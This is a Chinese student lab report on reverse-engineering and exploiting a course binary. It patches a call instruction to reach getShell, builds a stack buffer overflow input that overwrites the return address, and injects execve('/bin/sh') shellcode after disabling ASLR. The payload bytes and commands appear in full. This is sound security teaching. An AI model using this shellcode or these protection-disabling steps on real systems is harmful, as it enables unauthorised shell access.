2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3 20165233
Exp1 PC平台逆向破解
实验内容
一、基础知识点
NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP指令即“空指令”,执行到NOP指令时,CPU什么也不做,机器码是90;
JNE即条件转移指令,如果不相等则跳转,机器码是75;
JE即条件转移指令,如果相等则跳转,机器码是74;
JMP即无条件转移指令。段内直接短转Jmp short,机器码是EB; 段内直接近转移Jmp near,机器码是E9; 段内间接转移 Jmp word,机器码是FF; 段间直接(远)转移Jmp far,机器码是EA;
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。
二、实验步骤
实验点一:直接修改程序机器指令,改变程序执行流程
使用
objdump -d pwn5233 | more对pwn5233进行反汇编,来查看汇编代码。通过汇编代码可知,main函数会调用foo函数,且foo函数的首地址为
0x08048491。为了实现直接跳转到getShell函数的目的,则需将此处地址修改为getShell函数的首地址0x0804847d。

- 分析完方法之后,实施修改。利用
vi pwn5233打开pwn5233对其进行编辑。首先通过:%!xxd将其转化为十六进制数,方便进行修改。


- 通过
/e8 d7即可筛选至修改位置。

- 先按回车键,再按
r进行替换修改。通过计算得知getShell函数的首地址对应的十六进制后两位是c3。修改完成后按esc,再通过:%!xxd -r将文件变回原本的格式,最后:wq进行保存退出。文件修改完毕。


- 输入
./pwn5233运行修改后的文件,可以得到shell提示符。

实验点二:通过构造输入参数,造成BOF攻击,改变程序执行流
使用gdb对
pwn5233_2进行调试,测试会产生溢出的参数大小,从而确认输入字符串哪几个字符会覆盖到返回地址。当输入字符串很长时,gdb提示段错误,此时说明由于字符串的一部分覆盖到了返回地址,因此foo函数返回到对应的地址时,地址不存在,所以报错。

- 如果输入
1111111122222222333333334444444412345678时,段错误返回地址是0x34333231,即4321对应的ASCII码,所以说明该部分对应返回地址的位置。所以分析可得,只要用getShell函数的返回地址替代,就可以跳转到getShell函数,pwn5233_2就会运行getShell。

由于是小端字节序,所以输入时,应注意地址字段的顺序。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input构造input输入文件。通过xxd input查看文件是否是想要的字符串。(cat input; cat) | ./pwn1将构造好的字符串输入给pwn5233_2。此时BOF攻击成功。

实验点三:注入Shellcode并执行
- 使用apt-get install execstack命令安装execstack

- 使用如下指令进行配置:
execstack -s pwn1
execstack -q pwn1
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
配置过程如下图所示:

- 使用
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode进行注入,前面通过32个A来填满缓冲区buf,\x04\x03\x02\x01为返回地址处预留,之后对其进行修改。下面来寻找这个返回地址。

(cat input_shellcode;cat) | ./pwn5233_2输入一个终端,按回车后,等待。

重新打开另一个终端
ps -ef | grep pwn5233_2查看端口号。进入gdb进行调试,
attach 2638

disassemble foo进行反汇编,通过设置断点,来查看注入buf的内存地址。此时可知返回地址为0x080484ae,在此处break *0x080484ae设置断点。

c继续执行,此时回到第一个终端,敲击回车继续执行。再返回第二个终端,通过info r esp查找返回地址为0xffffd2ec。

- 用
x/16x 0xffffd2ec查看其存放的内容,由图可知0x01020304为返回地址存放的位置。根据构造的shellcode可知,shellcode的地址就在这之后,为0xffffd2f0。

- 回到第一个终端,再次输入
(cat input_shellcode;cat) | ./pwn5233_2,攻击成功。

实验中遇到的问题
1、运行pwn5233时告诉我许可被拒绝?
- 更改权限
chmod +x pwn5233即可解决。

2、最后一个构造shellcode的实验中,攻击成功后,我通过mkdir mushroom.txt新建了一个文本文件成功,但是无法删除?
- 目前这个问题还木太会解决。


实验收获与感想
本次实验过程中,对于整个原理比较清楚的理解了。通过分析返回地址的位置,从而将要跳转的getshell函数或者是要注入的shellcode的返回地址都成功替换,并且跳转。在实验过程中,遇到一些小问题,比如文件执行权限不够的问题,也能够通过以前学过的知识很快的解决。但是这次实验的不足之处是:如果通过自己独立写出shellcode恐怕就很有难度了。实验内容完全映射到老师上课讲解的内容,利用老师的那个栈的图,结合实验,也更加清楚的掌握了BOF攻击的过程。
什么是漏洞?漏洞有什么危害?
漏洞就是在硬件、软件等方面存在安全伤的缺陷,很容易受到恶意攻击的入口。漏洞的危害:由于受到恶意攻击从而导致信息、数据、机密等的丢失;使用户的计算机等设备上的数据进行恶意篡改,无法正常使用设备。
2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3 20165233的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M
20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...
- 20155227《网络对抗》Exp1 PC平台逆向破解(5)M
20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
- 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解
20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 20145325张梓靖 《网络对抗技术》 PC平台逆向破解
20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...
- # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟
<网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...
- 20145206邹京儒《网络对抗技术》 PC平台逆向破解
20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...
- 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解
20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...
- 20145336张子扬 《网络对抗技术》 PC平台逆向破解
#20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...
随机推荐
- 51Nod 1067:Bash游戏 V2(巴什博弈)
1067 Bash游戏 V2 基准时间限制:1 秒 空间限制:131072 KB 分值: 10 难度:2级算法题 收藏 关注 有一堆石子共有N个.A B两个人轮流拿,A先拿.每次只能拿1,3,4 ...
- 蓝桥杯 BASIC-3:字母图形
基础练习 字母图形 时间限制:1.0s 内存限制:256.0MB 问题描述 利用字母可以组成一些美丽的图形,下面给出了一个例子: ABCDEFG BABCDEF CBABCD ...
- Ubuntu 18.10安装Firefox 和 Google Chrome
================================ 工作环境迁移到Linux上,操作系统使用Linux Mint19.1(基于Ubuntu的), 自带的浏览器器是低版本的英文版,现在使用 ...
- bootstrap中如何控制input的宽度
☆1☆ bootstrap中如何控制input的宽度: v2版本:定义了很多class,可用在input. "input-block-level"."input-mini ...
- jquery中.prev()
☆ 遍历 - .prev()方法:取得一个包含匹配的元素集合中每一个元素紧邻的前一个同辈元素的元素集合.选择性筛选的选择器. (previous:上一个,上一页,前一个,以前的......) 示例: ...
- 【java编程】正确重写hashCode和equesl方案
一. 正确书写hashCode的办法: [原则]按照equals( )中比较两个对象是否一致的条件用到的属性来重写hashCode(). {1}. 常用的办法就是利用涉及到的的属性进行线性组合. {2 ...
- JNI学习笔记_C调用Java
一.笔记 1.C调用Java中的方法,参考jni.pdf pg97可以参考博文:http://blog.csdn.net/lhzjj/article/details/26470999步骤: a. 创建 ...
- Python——collections模块、time模块、random模块、os模块、sys模块
1. collections模块 (1)namedtuple # (1)点的坐标 from collections import namedtuple Point = namedtuple('poin ...
- elastic-job 分布式定时任务框架 在 SpringBoot 中如何使用(一)初始化任务并定时执行
第一篇需要实现一个最简单的需求:某个任务定时执行,多台机子只让其中一台机子执行任务 一.安装 分布式应用程序协调服务 zookeeper,安装步骤在链接里面 Linux(Centos7)下安装 zoo ...
- 【python】class之类的定义
使用class定义类,可以提供一个可选的父类或者基类,如果没有合适的基类,那就使用object作为基类,也可以不写.class FooClass (object)或者class FooClass: v ...